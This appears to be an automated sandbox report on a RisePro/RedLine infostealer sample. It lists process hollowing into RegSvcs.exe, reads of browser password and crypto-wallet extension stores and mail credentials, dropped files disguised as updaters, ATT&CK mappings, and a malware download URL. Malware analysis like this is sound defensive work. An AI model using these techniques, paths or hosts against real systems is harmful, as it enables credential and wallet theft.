Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00438A64 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00438A64

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_004CF280 VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAllocEx,LoadLibraryA,GetProcAddress,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,

2_2_004CF280

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\file.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base address: 400000			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base address: 400000			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 55D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 585000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 58A000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 58C000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 74E008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe "C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CFB84B0 cpuid

0_2_6CFB84B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,	2_2_004E06D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	2_2_00452B5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,	2_2_00452D5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: EnumSystemLocalesW,	2_2_00452E51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: EnumSystemLocalesW,	2_2_00452E06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: EnumSystemLocalesW,	2_2_00452EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00452F77
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,	2_2_004531CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: EnumSystemLocalesW,	2_2_0044B1B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004532F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,	2_2_004533F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_004534CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoW,	2_2_0044B734

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CFBA25A GetSystemTimeAsFileTime,__aulldiv,

0_2_6CFBA25A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

2_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

2_2_004E06D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_00544C30 GetVersionExA,GetFileAttributesW,GetFileAttributesA,

2_2_00544C30

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 8.2.q2xutezn4kFdLk2viqDb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected RisePro Stealer

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\3mPJKgsigfIE_SLZsizIH3r.zip, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\signons.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegSvcs.exe PID: 4944, type: MEMORYSTR

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match

File source: C:\Users\user\AppData\Local\Temp\3mPJKgsigfIE_SLZsizIH3r.zip, type: DROPPED

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF6A0C0 CorBindToRuntimeEx,GetModuleHandleW,GetModuleHandleW,__cftoe,GetModuleHandleW,GetProcAddress,

0_2_6CF6A0C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	22 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 Scheduled Task/Job	511 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	21 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	148 System Information Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	451 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	451 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	511 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	29%	ReversingLabs
file.exe	100%	Avira	TR/Crypt.XPACK.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\l2[1].exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	66%	ReversingLabs	Win32.Trojan.RedLine

Source	Detection	Scanner	Label
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://db-ip.com/	0%	URL Reputation	safe
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ipinfo.io/Mozilla/5.0	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://ipinfo.io/	0%	URL Reputation	safe
https://www.maxmind.com/en/locate-my-ip-address	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.winimage.com/zLibDll	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://ipinfo.io:443/widget/demo/8.46.123.175	0%	Avira URL Cloud	safe
http://185.172.128.82/server/k/l2.exe-u	0%	Avira URL Cloud	safe
http://185.172.128.82/server/k/l2.exeR0	0%	Avira URL Cloud	safe
https://t.me/RiseProSUPPORT	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://db-ip.com/demo/home.php?s=8.46.123.1750	0%	Avira URL Cloud	safe
https://t.me/risepro_bot	0%	Avira URL Cloud	safe
https://t.me/risepro_botlater3.175	0%	Avira URL Cloud	safe
https://db-ip.com:443/demo/home.php?s=8.46.123.175	0%	Avira URL Cloud	safe
https://ipinfo.io/widget/demo/8.46.123.175	0%	Avira URL Cloud	safe
https://t.me/risepro_bot%0	0%	Avira URL Cloud	safe
http://185.172.128.82/server/k/l2.exe	100%	Avira URL Cloud	malware
http://185.172.128.82/server/k/l2.exe~u	0%	Avira URL Cloud	safe
https://db-ip.com/demo/home.php?s=8.46.123.175	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipinfo.io	34.117.186.192	true	false		unknown
db-ip.com	104.26.4.15	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/widget/demo/8.46.123.175	false	Avira URL Cloud: safe	unknown
http://185.172.128.82/server/k/l2.exe	true	Avira URL Cloud: malware	unknown
https://db-ip.com/demo/home.php?s=8.46.123.175	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AhUc0FWfOlxwWeb Data.2.dr, hC03xPYOkhc5Web Data.2.dr, wi06D4NAVLzfWeb Data.2.dr	false	Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/8.46.123.175	RegSvcs.exe, 00000002.00000002.4087471947.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
